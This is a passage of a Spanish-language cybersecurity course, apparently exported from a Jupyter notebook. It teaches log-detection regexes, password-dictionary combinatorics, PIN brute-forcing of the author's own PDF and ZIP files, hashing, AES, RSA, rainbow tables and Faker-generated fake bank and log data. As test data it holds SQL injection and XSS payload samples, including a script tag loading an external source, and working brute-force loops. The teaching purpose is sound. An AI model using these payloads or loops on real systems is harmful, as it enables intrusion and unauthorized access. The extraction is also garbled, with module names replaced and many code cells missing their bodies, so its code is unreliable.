2025-11-19 10:24:01 [DEBUG] Checking cache
2025-11-19 10:24:01 [DEBUG] Checking cache
2025-11-19 10:24:01 [DEBUG] Checking cache
"""
150
niveles = [Link](nivel_regex, texto_logs)
print("[x] Niveles detectados:", niveles)
A veces nos tocará una investigación, donde nos toque una detección rápida de bruteforce por log de app o
sistema..
In [352]:
login_fail_regex = r"login (fallido|failed|incorrecto) .* usuario (\w+)"
texto_login = """
login fallido para usuario admin desde [Link]
login failed for usuario root from [Link]
login incorrecto para usuario invitado
otro texto para relleno....
otro texto para relleno....
"""
A veces nos va a tocar una investigación donde nos pasen un log de SSH… así tal cual… sin formato
bonito… y tendremos que buscar el usuario y la IP entre líneas que parecen escritas por alguien con
demasiada confianza en el azar. En esos casos, una expresión regular bien pensada nos salva la vida… o
por lo menos nos ahorra harta frustración.
Aquí partimos con un ejemplo sencillo… para mostrar cómo extraer ambos datos desde un log cualquiera.
In [353]:
# Ejemplo clásico de [Link]
ssh_regex = r"Failed password for (\w+) from (\d{1,3}(\.\d{1,3}){3})"
texto_ssh = """
Nov 11 10:22:01 server sshd[1234]: Failed password for root from [Link] port
43022 ssh2
Nov 11 10:22:05 server sshd[1235]: Failed password for admin from [Link] port 43023
ssh2
"""
151
ssh_matches = [Link](ssh_regex, texto_ssh)
En otras ocasiones nos va a tocar revisar un [Link] buscando posibles ataques… y entre tantas
peticiones normales, siempre puede colarse algo que huele a SQL injection. Este ejemplo es una forma
sencilla, bien didáctica... de detectar un posible bypass SQL dentro de una URL.
Ojo… Esto no es perfecto ni te va a salvar en un entorno real por sí solo… pero sirve para entender la idea y
cómo aplicar regex en un caso práctico.
In [355]:
sql_injection_regex = r"('|\")\s*(OR|AND)\s+1=1"
texto_sql = """
param=user' OR 1=1 --
param=otro" AND 1=1#
param=sano_normal
param=sano_normal ....
"""
Este ejemplo es super sencillo, donde debemos buscar en un [Link] posibles ataques XSS.
In [356]:
xss_regex = r"<script\b[^>]*>"
texto_xss = """
GET /search?q=<script>alert(1)</script>
Comentario limpio sin script ......
Otro intento: <script src="[Link]
"""
152
xss_matches = [Link](xss_regex, texto_xss)
print(" [x] Posibles intentos de XSS (inicio de <script>):", xss_matches)
Imaginemos ahora, nos piden validar una política de contraseñas, donde mínimo necesitas 8 caracteres, al
menos 1 minúscula, 1 mayúscula y 1 número.
In [357]:
password_regex = r"^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{8,}$"
passwords = [
"Password1",
"password",
"PASSWORD1",
"Pass1",
"MiClaveSegura123"
]
Combinatoria
Las combinatorias, sirven para entender cómo se construyen los diccionarios de contraseñas y por qué
algunos diccionarios de combinaciones explotan en tamaño siendo gigantes.
Supongamos, tenemos una lista de nombres posibles y queremos ver cuántas contraseñas podría tener una
persona.
153
Entonces usaremos el ejemplo de; nombre + año , esto podría existir en la vida real y es súper típico en
usuarios reales al momento de elegir contraseñas.
Si tienes:
● 3 nombres
● 4 años
In [425]:
!pip install more-itertools # librería de combinatoria
In [426]:
import itertools
contrasenas = []
[ - ] Total combinaciones: 12
> Ejemplos:
juan1985
juan1990
juan2023
juan2024
maria1985
maria1990
maria2023
maria2024
seba1985
seba1990
seba2023
seba2024
154
Ahora, imagina tienes una palabra base, por ejemplo: seba, y quieres generar variantes de contraseña muy
comunes:
● seba
● Seba
● SEBA
● seba1
● Seba1
● SEBA1
● etc.
Total: 3 × 3 = 9 contraseñas.
In [427]:
import itertools
base = "seba"
variantes_base = [
[Link](), # seba
[Link](), # Seba
[Link](), # SEBA
]
contrasenas = []
155
Combinación de 3 listas (nombre, palabra clave, número)
Ahora, imaginemos que queremos simular un pequeño generador de contraseñas basado en la vida real de
una persona:
Total: 2 × 3 × 3 = 18 combinaciones.
In [428]:
import itertools
contrasenas = []
[-]Total combinaciones: 18
sebagato1
sebagato01
sebagato2024
sebaperro1
sebaperro01
sebaperro2024
sebaflo1
sebaflo01
sebaflo2024
juangato1
juangato01
juangato2024
juanperro1
juanperro01
juanperro2024
juanflo1
juanflo01
juanflo2024
156
¿Cuántas contraseñas posibles podrían haber en un escenario?
● la longitud de la contraseña
● el tamaño del alfabeto que usas (solo letras, letras+números, etc.)
In [429]:
def conteo_contrasenas(longitud, alfabeto):
return len(alfabeto) ** longitud
alf_min = "abcdefghijklmnopqrstuvwxyz"
alf_min_num = "abcdefghijklmnopqrstuvwxyz0123456789"
alf_full = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
Longitud = 4
Solo minúsculas : 456976
Minúsculas + números : 1679616
May+min+números : 14776336
Longitud = 6
Solo minúsculas : 308915776
Minúsculas + números : 2176782336
May+min+números : 56800235584
Longitud = 8
Solo minúsculas : 208827064576
Minúsculas + números : 2821109907456
May+min+números : 218340105584896
Longitud = 10
Solo minúsculas : 141167095653376
Minúsculas + números : 3656158440062976
May+min+números : 839299365868340224
157
PDF con contraseña
Para este ejercicio, vamos a hacer 2 pasos:
● Primero, tomar un PDF y crear una versión protegida con contraseña numérica (ej: "1234").
● Segundo, hacer un script en Python que pruebe PINs numéricos hasta encontrarlo.
In [433]:
#librería para crear pdf
!pip install reportlab
In [435]:
from [Link] import canvas
def crear_pdf_simple(nombre_pdf):
c = [Link](nombre_pdf)
[Link](100, 750, "Hola! Este es un PDF creado para StarHacks.")
[Link](100, 730, "que la fuerza te acompañe.....")
[Link]()
[Link]()
crear_pdf_simple("[Link]")
In [436]:
# instalar libreria para trabajar con pdf
!pip install PyPDF2
Primero, para simplificar el ejercicio, asumamos que ya tienes un PDF cualquiera llamado [Link]
In [437]:
from PyPDF2 import PdfReader, PdfWriter
158
# Contraseña numérica que vamos a usar (para el ejercicio)
password = "1234"
Ahora hacemos un script que intente PINs tipo 0000 hasta 9999
In [449]:
from PyPDF2 import PdfReader
Vamos a hacer una función que intenta abrir el PDF con la contraseña dada y devuelve un True si sirve,
False si no.
In [446]:
def probar_password(pdf_path, password: str) -> bool:
try:
reader = PdfReader(pdf_path)
res = [Link](password) # decrypt devuelve 0 si falla, 1 o 2 si
funciona
return res == 1 or res == 2
except Exception:
return False
Ahora, una función que haga fuerza bruta de PIN numérico de longitud fija (ej: 4 - > 0000–9999)
In [450]:
def brute_force_pdf(pdf_path: str, longitud: int = 4):
max_num = 10 ** longitud
for i in range(max_num):
pwd = f"{i:0{longitud}d}" # ej: 4 → 0000, 0001, 0002...
if probar_password(pdf_path, pwd):
print(f"[ < * > ] Contraseña encontrada : {pwd}")
159
return pwd
if i % 1000 == 0:
print(f"[.]Probados: {i} passwords...")
Probamos la función:
In [451]:
ruta_pdf = "ejemplo_protegido.pdf" # archivo a analizar
brute_force_pdf(ruta_pdf, longitud=4)
[.]Probados: 0 passwords...
[.]Probados: 1000 passwords...
[ < * > ] Contraseña encontrada : 1234
Out[451]:
'1234'
In [453]:
#instalar librería de manejo de zip
!pip install pyzipper
Crearemos un archivo de prueba formato txt y sobre este, lo comprimimos en zip con contraseña para
después atacarlo:
In [465]:
import pyzipper
zip_name = "[Link]"
password_real = "1234" # la password
with [Link](
zip_name,
'w',
160
compression=pyzipper.ZIP_DEFLATED,
encryption=pyzipper.WZ_AES
) as zf:
Crearemos una función que permita abrir y listar archivos del ZIP probando contraseñas. esta devolverá un
True si sirve, False si no.
In [468]:
import pyzipper
In [469]:
def brute_force_zip(zip_path: str, longitud: int = 4):
max_num = 10 ** longitud
for i in range(max_num):
pwd = f"{i:0{longitud}d}"
if probar_password_zip(zip_path, pwd):
print(f"[ < * > ] Contraseña ZIP encontrada : {pwd}")
return pwd
if i % 1000 == 0:
print(f"[-] Probados: {i} passwords ZIP...")
In [470]:
161
zip_name = "[Link]"
brute_force_zip(zip_name, longitud=4)
Out[470]:
'1234'
Algoritmos Hash
Un hash es como una máquina que solo funciona para un solo lado, tú le tiras cualquier dato por ejemplo una
palabra, un archivo, lo que sea. y te devuelve una cadena rara de letras y números. Siempre produce algo
distinto y es casi imposible de adivinar de vuelta.
La gracia, es que tomas un valor y lo conviertes en otro, pero sin posibilidad de deshacerlo. Es como meter
pan en una tostadora, sale tostada… pero no puedes volver a tener el pan original.
Normalmente los hash te dan un resultado con un largo fijo (siempre la misma cantidad de caracteres). Pero
hay algunos algoritmos hechos especialmente para guardar contraseñas, donde el resultado puede cambiar
de largo porque están diseñados para ser más seguros y más difíciles de romper.
En Python, los hash vienen en la librería hashlib, así que no hay que instalar nada. Aquí van los más usados
en ciberseguridad, con ejemplos cortitos.
MD5:
Este algoritmo es rápido, antiguo y no seguro para contraseñas. Sirve solo para verificar integridad básica.
In [472]:
import hashlib
SHA-1 : este algoritmo es más seguro que MD5, pero igual está pasado de moda (tiene colisiones
conocidas).
162
In [473]:
import hashlib
SHA-256 : Este algoritmo es el estándar hoy en día. es rápido, seguro y muy usado para integridad y tokens.
In [474]:
import hashlib
SHA-512: Este algoritmo es como SHA-256, pero con salida más larga (más bits) de fortaleza. Es útil cuando
quieres más entropía.
In [475]:
import hashlib
> SHA512:
9b9fff32a5431def0374233e6362b36ead87f37a4ee7cd3ab602ebd94c5eeabc0c9b4cca3f12cef2dd642ac
75e256dd94eead51d69236bf500a5e088ba603f3c
BLAKE2: Este algoritmo, es más eficiente que SHA-256, muy usado hoy en sistemas modernos.
In [476]:
import hashlib
163
> BLAKE2:
1d964b92fa199c6686edf4090a54587724dc91de84eac58bab830f2ab25ff4a992b76f9282e0b6b58ed48a4
c8d84e780ed390204b19b97b5acb940b804bc62c3
SHA3-256: Este algoritmo está basado en Keccak y es más resistente a ataques modernos.
In [477]:
import hashlib
Hash para contraseñas (PBKDF2) Python trae un algoritmo seguro para guardar contraseñas, este algoritmo
agranda la clave y la hace más difícil de romper. Esto es lo que usan muchos sistemas reales para guardar
contraseñas.
In [479]:
import hashlib
import os
password = "mipasswd123"
salt = [Link](16)
key = hashlib.pbkdf2_hmac(
'sha256', # algoritmo base
[Link](),
salt,
200_000, # número de iteraciones
dklen=32 # size final de la clave
)
164
AES
Modos típicos:
In [485]:
# librería de cifrado
!pip install pycryptodome
AES-GCM:
In [484]:
from [Link] import AES
from [Link] import get_random_bytes
# cifrado
key = get_random_bytes(32) # 256 bits
cipher = [Link](key, AES.MODE_GCM)
nonce = [Link]
# descifrado
cipher2 = [Link](key, AES.MODE_GCM, nonce=nonce)
plaintext = cipher2.decrypt_and_verify(ciphertext, tag)
print("[<>]Descifrado: ", [Link]())
- Nonce: b662a89fa87f0c39dd98020d8855359f
- Ciphertext: 44cd799e6f40ec335113d879561fd2
- Tag: 21c5eaeb1e56eba49b1c285e271acf2d
[<>]Descifrado: mensaje secreto
Este algoritmo es súper rápido en software y excelente para dispositivos móviles, routers, IoT.
In [486]:
from [Link] import ChaCha20
165
from [Link] import get_random_bytes
# cifrado
key = get_random_bytes(32)
cipher = [Link](key=key)
nonce = [Link]
# descifrado
cipher2 = [Link](key=key, nonce=nonce)
plaintext = [Link](ciphertext)
- Nonce: 61a1efae2ad6ad89
- Ciphertext: bc065dd077af420911b5
[<>]Descifrado: hola mundo
In [487]:
from [Link] import DES3
from [Link] import get_random_bytes
#cifrado
key = DES3.adjust_key_parity(get_random_bytes(24))
cipher = [Link](key, DES3.MODE_CBC)
iv = [Link]
ciphertext = [Link](b"hola1234") # DES requiere múltiplos de 8 bytes
print(" - IV:", [Link]())
print(" - Ciphertext:", [Link]())
#descifrado
cipher2 = [Link](key, DES3.MODE_CBC, iv=iv)
plaintext = [Link](ciphertext)
print(" [<>]Descifrado: ", [Link]())
- IV: eaa3601e8c63fc87
- Ciphertext: 6c57fbaa4c321049
[<>]Descifrado: hola1234
ARC4 / RC4
Algoritmo de cifrado inseguro, no se recomienda mostrar ejemplos, salvo que quieras estudiar algún ataques.
166
In [489]:
from [Link] import ARC4
print("[<]Ciphertext:", [Link]())
print("[>]Descifrado:", [Link]())
[<]Ciphertext: 3535f7239dc93c84ac33029d9a4aba
[>]Descifrado: mensaje secreto
Cifrado asimétrico
El cifrado asimétrico es como el hermano más grande de los cifrados disponibles. Aquí no trabajas con una
clave única, sino con dos claves:
La magia es que, lo que se cifra con la clave pública, solo se puede abrir con la privada. Y lo que se firma
con la clave privada, cualquiera lo puede verificar con la pública.
Es como tener dos llaves diferentes que igual trabajan juntas, pero cada una en su propio lugar.
● HTTPS
● SSH
● GPG / PGP
● VPN
● Tokens firmados
● Certificados digitales
● Blockchain
● Firmas en código (como las apps de tu celular)
RSA : Este algoritmo sería como crear tu identidad criptográfica.
In [490]:
from [Link] import RSA
167
print(private_key_pem.decode())
>CLAVE PÚBLICA:
In [491]:
168
with open("private_key.pem", "wb") as f:
[Link](private_key_pem)
Un escenario típico es que alguien te quiera mandar algo secreto, entonces usa tu clave pública para cifrar. y
después, solo tú, con tu clave privada, lo puedes descifrar con tu clave privada.
In [492]:
from [Link] import RSA
from [Link] import PKCS1_OAEP
In [493]:
# aquí el mensaje que queremos proteger
mensaje = "starhacks ultra secreto, solo para tus ojos. no le cuentes a tu gato"
169
>Mensaje descifrado:
starhacks ultra secreto, solo para tus ojos. no le cuentes a tu gato
Esto es lo otro bacán del cifrado asimétrico. Las firmas digitales. con este algoritmo puedes firmar con tu
clave privada como diciendo, ojo... esto lo mandé yo. y cualquiera con tu clave pública puede verificar que no
se ha modificado y que realmente lo mandaste tú.
In [494]:
from [Link] import RSA
from [Link] import pkcs1_15
from [Link] import SHA256
In [495]:
h = [Link](mensaje) # creamos un hash del mensaje
signature = pkcs1_15.new(private_key).sign(h) # firmamos el hash con la clave privada
In [496]:
try:
pkcs1_15.new(public_key).verify(h, signature)
print("\n [>] La firma es válida. El mensaje viene del dueño de la clave privada.")
except (ValueError, TypeError):
print("\n [x] Firma inválida. Mensaje alterado o clave incorrecta.")
In [497]:
170
mensaje_modificado = b"Transferir 1.000.000 de pesos al usuario SEBA"
h_mod = [Link](mensaje_modificado)
try:
pkcs1_15.new(public_key).verify(h_mod, signature)
print("[>] [Esto no debería pasar / firma valida con mensaje cambiado]")
except (ValueError, TypeError):
print(" [x] Detección OK - el mensaje modificado NO pasa la verificación de
integridad....")
Lo que hace un atacante, es tener una base de datos enorme donde ya tiene:
password -> hash seba123 -> 93be0f3c1... hola123 -> f928103ac... 123456 -> e10adc394...
Entonces si encuentra un hash en algún lado (por ejemplo una base de datos filtrada), solo busca en su tabla
y listo, obtiene la contraseña sin calcular nada.
In [498]:
import hashlib
rainbow = {}
171
Buscar una contraseña con un hash conocido
In [499]:
hash_filtrado = hashlib.md5("seba123".encode()).hexdigest()
if hash_filtrado in rainbow:
print("[ok] Password encontrado:", rainbow[hash_filtrado])
else:
print("[x ]No esta en la tabla")
La fuerza bruta es el ataque bruto… literal. El sistema prueba todas las contraseñas posibles una por una…
hasta que alguna calza. Es como ir metiendo llaves al azar en una cerradura… paciencia infinita, pero
funciona.
Las rainbow tables, en cambio, son más rápidas porque el atacante ya tiene los hashes calculados de antes.
Entonces, cuando obtiene un hash robado… no adivina nada… solo lo busca en su tabla y listo. Es como
tener una guía telefónica de contraseñas, pero en esteroides.
Fuerza bruta es como cuando Tom decide destruir un sillón a punta de arañazos… uno tras otro… sin
parar… hasta que consigue el agujero perfecto. Método lento… pero oye, el compadre es consistente.
Rainbow tables sería más como si Tom tuviera un mapa del sillón con puntos perfectos para rasgar listados
de antemano… solo mira, elige uno… y zas. Mucho más rápido… y honestamente, más preocupante.
Menos mal que estamos en Jupyter haciendo ejercicios… y Tom tiene las uñas cortadas… porque si no, este
notebook ya tendría más puertos abiertos que un servidor mal configurado.
In [504]:
import hashlib
objetivo = hashlib.md5("flo123".encode()).hexdigest()
172
for palabra in diccionario_test:
if hashlib.md5([Link]()).hexdigest() == objetivo:
print("[> ]Encontrado por fuerza bruta: ", palabra)
break
In [505]:
print("[> ] Rainbow:", rainbow[objetivo])
Por qué un salt rompe una rainbow table. En el próximo ejemplo verás que los mismos datos pueden crear
dos hashes completamente distintos. Con eso las rainbow tables quedan inútiles.
In [506]:
import hashlib
import os
password = "seba123"
En corto:
Faker
Faker es una librería de Python que se dedica a inventar datos creíbles , por ejemplo; nombres, correos,
direcciones, IPs, usuarios, etc.
173
● armar datasets para entrenar detecciones sin tocar datos reales
Para instalar:
In [114]:
!pip install faker
Collecting faker
Downloading [Link] (16 kB)
Requirement already satisfied: tzdata in c:\users\starh\anaconda3\lib\site-packages
(from faker) (2025.2)
Downloading [Link] (2.0 MB)
---------------------------------------- 0.0/2.0 MB ? eta -:--:--
---------------------------------------- 2.0/2.0 MB 23.6 MB/s eta 0:00:00
Installing collected packages: faker
Successfully installed faker-38.2.0
In [115]:
from faker import Faker
print([Link]())
print([Link]())
print(fake.ipv4_public())
Olivia Ross
kathleen93@[Link]
[Link]
Ahora, lo que haremos es básicamente montar un banco falso, pero creíble. No usaremos ningún dato real y
Faker hace toda la magia para inventar nombres, fechas, cuentas, montos y hasta descripciones. Es perfecto
para probar análisis de fraude, flujos de detección o simplemente para entrenar lógica sin comprometer nada
real.
In [124]:
import random
from faker import Faker
import pandas as pd
from datetime import datetime
fake = Faker()
Ahora, lo que haremos es básicamente crear una función para generar un RUT simulado
In [125]:
def generate_rut():
174
num = [Link](1000000, 25000000) # rango de números posibles para el RUT
dv = [Link]('0123456789K') # digito verificador q puede ser un número o K
return f"{num}-{dv}"
Acá armamos una transacción bancaria completa y lo bueno es que cubres todo; nombre, apellidos, cuentas,
montos, fechas, método de pago… Incluso si falló o quedó pendiente. Esto te permite simular, depósitos ,
transferencias, pagos , retiros , cuentas entrantes y salientes, status (Completed, Pending, Failed). Sin tocar
nada real.
In [126]:
def generate_mock_transaction():
transaction = {
"Transaction ID": fake.uuid4(), # ID único de transacción
"Name": fake.first_name(), # nombre
"RUT": generate_rut(), # RUT chileno simulado
"Paternal Last Name": fake.last_name(), # Apellido paterno
"Maternal Last Name": fake.last_name(), # Apellido materno
"Account Number": [Link](), # número de cuenta bancaria (IBAN)
"Transaction DateTime": fake.date_time_this_year(), # Fecha y hora de la
transacción
"Transaction Type": [Link](["Deposit", "Withdrawal", "Transfer",
"Payment"]), # tipo de transacción
"Transaction Amount": round([Link](10, 10000), 2), # monto de la
transacción
"Currency": "CLP", # moneda de la transacción [Link](["USD", "EUR",
"GBP", "JPY"])
"Balance After Transaction": round([Link](1000, 50000), 2), # saldo
despues de la transacción
"Sender Account Number": [Link]() if [Link]([True, False]) else
None, # número de cuenta del remitente
"Receiver Account Number": [Link]() if [Link]([True, False]) else
None, # número de cuenta del receptor
"Transaction Status": [Link](["Completed", "Pending", "Failed"]), #
estado de la transacción
"Payment Method": [Link](["Credit Card", "Debit Card", "Bank Transfer",
"Cash"]), # método de pago
"Transaction Description": [Link](), # descripción o nota de la
transacción
}
return transaction
Función para generar una lista de transacciones falsas, por defecto tiene 10 transacciones.
In [127]:
def generate_mock_transactions(num=10):
transactions = [generate_mock_transaction() for _ in range(num)]
return transactions
175
Aquí armamos un dataset de lo grande que tu quieras, en este ejemplo lo seteamos en 1000 y ya podemos
probar el dataset para análisis, gráficos, patrones, correlaciones, etc.
In [128]:
mock_data = generate_mock_transactions(1000) # por ejemplo, generar 100 transacciones
df = [Link](mock_data)
Transaction Description
0 Say natural hot seven.
1 Teach present long much.
2 Focus tend thus Democrat.
3 Development draw good.
4 Store second order where receive camera daughter.
176
Ejemplo código de transferencias simuladas
Lo que vamos a hacer acá es bien práctico, primero armaremos un dataset falso de transacciones bancarias
y ahora vamos a simular transferencias reales entre cuentas que ya existen dentro de ese dataset creado
anteriormente. Es como decir.... ok, ya tengo un mini-banco inventado… ahora hagamos que estas cuentas
se manden plata entre ellas.
Partiremos con un DataFrame lleno de transacciones falsas 500 y usaremos 5 número cuentas aleatorias
In [135]:
import random
import pandas as pd
In [136]:
def simulate_transfers(df, sample_accounts, num_transfers=5):
transfers = []
for _ in range(num_transfers):
# elegimos un remitente y un receptor de forma aleatoria [diferentes entre
sí]
sender = [Link](sample_accounts)
receiver = [Link]([acc for acc in sample_accounts if acc != sender])
177
"Transaction Description": f"Transfer from {sender} to {receiver}", #
descripción de la transacción
}
178
3 Patterson Garrison GB75SUFS07184252116855
4 Foster Rich GB63JQCY16528764676989
5 Alvarado Castillo GB66OENP38667880022261
6 Rice Oliver GB44XGQK21770584261302
7 Hill Macdonald GB97DTCD09994259180520
8 Rogers Carter GB72AEOY88485660874806
9 Gray Jefferson GB31TEPJ61467741485598
10 Robinson Wiggins GB58BQLS42024040450131
11 Cook Blackburn GB37IMLO02586938506115
12 Ortiz Richmond GB37IMLO02586938506115
13 Gomez Thompson GB58DTRR02725559543338
14 Tate Harmon GB31UIJK55142514522173
15 Davis Barnes GB88JONE75636626730459
16 Fields Reed GB32BZRV93858106682456
17 Lopez Wright GB58NCWE50510700911487
18 Carlson Miller GB84EFGY89393135529275
19 Odonnell Medina GB13MUBV30956910235906
20 Olson Perez GB44XGQK21770584261302
21 Mejia Wilkins GB12UFFX73091731227286
22 Patton Green GB52RUGV59954989077754
23 Copeland Long GB68JZSB04635848726600
24 Baird Johnson GB75XWKZ62632740379644
25 Taylor Dominguez GB42OLKI47143047350962
26 Miller Adams GB38RGDV63444437247379
27 Hernandez Walker GB77ATGP53758155946902
28 Barnett Crosby GB60WMTC11993768518692
29 Clark Johnson GB15ZIWU13649903167259
179
24 2025-10-06 21:47:16 Transfer 445.36 CLP
25 2025-06-29 10:32:05 Transfer 105.87 CLP
26 2025-08-31 13:04:44 Transfer 358.23 CLP
27 2025-11-21 21:42:56 Transfer 91.76 CLP
28 2025-10-06 18:12:46 Transfer 246.05 CLP
29 2025-06-03 19:38:17 Transfer 141.96 CLP
180
13 Completed Bank Transfer
14 Completed Bank Transfer
15 Completed Bank Transfer
16 Completed Bank Transfer
17 Completed Bank Transfer
18 Completed Bank Transfer
19 Completed Bank Transfer
20 Completed Bank Transfer
21 Completed Bank Transfer
22 Completed Bank Transfer
23 Completed Bank Transfer
24 Completed Bank Transfer
25 Completed Bank Transfer
26 Completed Bank Transfer
27 Completed Bank Transfer
28 Completed Bank Transfer
29 Completed Bank Transfer
Transaction Description
0 Transfer from GB37IMLO02586938506115 to GB82YT...
1 Transfer from GB19RQCV51779875115831 to GB56RY...
2 Transfer from GB42OLKI47143047350962 to GB91FO...
3 Transfer from GB75SUFS07184252116855 to GB41KD...
4 Transfer from GB63JQCY16528764676989 to GB59DX...
5 Transfer from GB66OENP38667880022261 to GB28NM...
6 Transfer from GB44XGQK21770584261302 to GB15VA...
7 Transfer from GB97DTCD09994259180520 to GB07UJ...
8 Transfer from GB72AEOY88485660874806 to GB86AF...
9 Transfer from GB31TEPJ61467741485598 to GB39KR...
10 Transfer from GB58BQLS42024040450131 to GB86AF...
11 Transfer from GB37IMLO02586938506115 to GB22UQ...
12 Transfer from GB37IMLO02586938506115 to GB82JG...
13 Transfer from GB58DTRR02725559543338 to GB97HU...
14 Transfer from GB31UIJK55142514522173 to GB24YT...
15 Transfer from GB88JONE75636626730459 to GB52JR...
16 Transfer from GB32BZRV93858106682456 to GB18SM...
17 Transfer from GB58NCWE50510700911487 to GB45PY...
18 Transfer from GB84EFGY89393135529275 to GB56UT...
19 Transfer from GB13MUBV30956910235906 to GB60WM...
20 Transfer from GB44XGQK21770584261302 to GB16OQ...
21 Transfer from GB12UFFX73091731227286 to GB14HT...
22 Transfer from GB52RUGV59954989077754 to GB89SU...
23 Transfer from GB68JZSB04635848726600 to GB23EU...
24 Transfer from GB75XWKZ62632740379644 to GB72AE...
25 Transfer from GB42OLKI47143047350962 to GB22NH...
26 Transfer from GB38RGDV63444437247379 to GB53OY...
27 Transfer from GB77ATGP53758155946902 to GB82NU...
28 Transfer from GB60WMTC11993768518692 to GB86SS...
29 Transfer from GB15ZIWU13649903167259 to GB76OR...
El siguiente script complementa lo anterior de forma visual, lo que lograremos con este código es
básicamente convertir un Dataframe bancario inventado, en un mapa visual de quién le transfiere a quién,
181
pero con nombre y apellido. Es como mirar el flujo de plata entre personas, pero sin datos reales... Esto es
exactamente lo que hacen los sistemas de monitoreo cuando buscan redes de fraude, cajeros con
movimientos raros, triangulaciones… pero acá está explicado y hecho de manera súper simple.
In [138]:
import networkx as nx
import [Link] as plt
# aquí creamos esta función para graficar las conexiones de transferencias con
nombres
def plot_transfer_network_with_names(transfers_df, df):
# dibujar los nodos, sus etiquetas con su tamaño , tipo de letra y color
[Link](G, pos, with_labels=True, node_color='lightgreen', node_size=3000,
font_size=8, font_weight='bold', edge_color='gray')
# Mostrar la gráfica
182
[Link]("[ < ] Transfer Network [ > ] ")
[Link]()
In [139]:
from faker import Faker
import random
fake = Faker()
def generar_usuarios_falsos(n=10):
usuarios = []
for _ in range(n):
# username ejemplo tipo jrojas o mvalenzuela
nombre = fake.first_name().lower()
183
apellido = fake.last_name().lower()
username = (nombre[0] + apellido)[:10]
[Link]((username, pwd))
return usuarios
creds = generar_usuarios_falsos(15)
dellison:admin955
alove:password686
jfreeman:freeman384
bcampbell:password134
asnyder:admin397
jbrady:brady933
jhernandez:hernandez231
pmendez:mendez403
acontreras:admin439
nsmith:password976
dvelasquez:daniel288
agutierrez:password361
jmartinez:jackson706
lberry:berry695
jrussell:password312
In [117]:
from faker import Faker
import random
from datetime import datetime, timedelta
fake = Faker()
184
resultados = ["Failed password", "Invalid user", "Accepted password"]
def generar_logs_ssh(n=20):
ahora = [Link]()
logs = []
for _ in range(n):
ip = fake.ipv4_public()
usuario = [Link](usuarios_objetivo)
resultado = [Link](resultados)
fecha = (ahora - timedelta(minutes=[Link](0, 300))).strftime("%b %d
%H:%M:%S")
return logs
logs = generar_logs_ssh(15)
Nov 23 12:26:14 servidor-ssh sshd[1234]: Invalid user for deploy from [Link]
port 54321 ssh2
Nov 23 14:37:14 servidor-ssh sshd[1234]: Invalid user for deploy from [Link]
port 54321 ssh2
Nov 23 12:28:14 servidor-ssh sshd[1234]: Invalid user for ubuntu from [Link]
port 54321 ssh2
Nov 23 15:21:14 servidor-ssh sshd[1234]: Invalid user for deploy from [Link]
port 54321 ssh2
Nov 23 14:05:14 servidor-ssh sshd[1234]: Accepted password for ubuntu from
[Link] port 54321 ssh2
Nov 23 12:17:14 servidor-ssh sshd[1234]: Accepted password for admin from
[Link] port 54321 ssh2
Nov 23 14:55:14 servidor-ssh sshd[1234]: Invalid user for ubuntu from [Link]
port 54321 ssh2
Nov 23 15:11:14 servidor-ssh sshd[1234]: Failed password for ubuntu from [Link]
port 54321 ssh2
Nov 23 12:37:14 servidor-ssh sshd[1234]: Accepted password for admin from
[Link] port 54321 ssh2
Nov 23 11:54:14 servidor-ssh sshd[1234]: Accepted password for root from
[Link] port 54321 ssh2
Nov 23 12:26:14 servidor-ssh sshd[1234]: Invalid user for ubuntu from [Link]
port 54321 ssh2
Nov 23 11:37:14 servidor-ssh sshd[1234]: Invalid user for deploy from [Link]
port 54321 ssh2
Nov 23 12:19:14 servidor-ssh sshd[1234]: Failed password for deploy from [Link]
port 54321 ssh2
185
Nov 23 11:39:14 servidor-ssh sshd[1234]: Invalid user for admin from [Link] port
54321 ssh2
Nov 23 13:35:14 servidor-ssh sshd[1234]: Accepted password for admin from [Link]
port 54321 ssh2
In [130]:
from faker import Faker
import random
from datetime import datetime
fake = Faker()
def generar_logs_http(n=20):
logs = []
for _ in range(n):
ip = fake.ipv4_public()
fecha = [Link]().strftime("%d/%b/%Y:%H:%M:%S +0000")
metodo = [Link](metodos)
path = [Link](paths)
código = [Link](status_codes)
size = [Link](200, 5000)
ua = fake.user_agent()
logs = generar_logs_http(10)
186
[Link] - - [23/Nov/2025:23:19:33 +0000] "POST /admin HTTP/1.1" 200 2539 "-"
"Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 10.0; Trident/4.1)"
[Link] - - [23/Nov/2025:23:19:33 +0000] "GET /api/v1/users HTTP/1.1" 302 2910
"-" "Opera/9.87.(X11; Linux x86_64; kk-KZ) Presto/2.9.186 Version/10.00"
[Link] - - [23/Nov/2025:23:19:33 +0000] "HEAD /admin HTTP/1.1" 301 3688 "-"
"Mozilla/5.0 (iPad; CPU iPad OS 11_4_1 like Mac OS X) AppleWebKit/531.0 (KHTML, like
Gecko) CriOS/[Link] Mobile/24A876 Safari/531.0"
[Link] - - [23/Nov/2025:23:19:33 +0000] "POST / HTTP/1.1" 200 2709 "-"
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 11.0; Trident/4.1)"
[Link] - - [23/Nov/2025:23:19:33 +0000] "GET /api/v1/users HTTP/1.1" 302 2916
"-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/536.1 (KHTML, like Gecko)
Chrome/[Link] Safari/536.1"
[Link] - - [23/Nov/2025:23:19:33 +0000] "POST /[Link] HTTP/1.1" 404 4375
"-" "Mozilla/5.0 (Windows NT 5.0) AppleWebKit/532.1 (KHTML, like Gecko)
Chrome/[Link] Safari/532.1"
[Link] - - [23/Nov/2025:23:19:33 +0000] "HEAD /admin HTTP/1.1" 500 1399 "-"
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_12_4 rv:3.0; mr-IN) AppleWebKit/531.44.1
(KHTML, like Gecko) Version/5.0.5 Safari/531.44.1"
[Link] - - [23/Nov/2025:23:19:33 +0000] "GET /admin HTTP/1.1" 500 2105 "-"
"Opera/9.88.(X11; Linux x86_64; ky-KG) Presto/2.9.160 Version/11.00"
In [131]:
from faker import Faker
import random
fake = Faker()
def generar_clientes_falsos(n=10):
clientes = []
for _ in range(n):
ip = fake.ipv4_public()
nombre = [Link]()
pais = [Link]()
so = [Link](["Windows 10", "Windows 11", "Ubuntu", "Debian", "Android",
"iOS"])
[Link]({
"ip": ip,
"nombre": nombre,
"pais": pais,
"so": so
})
return clientes
clientes = generar_clientes_falsos(8)
for c in clientes:
187
print(c)
In [132]:
from faker import Faker
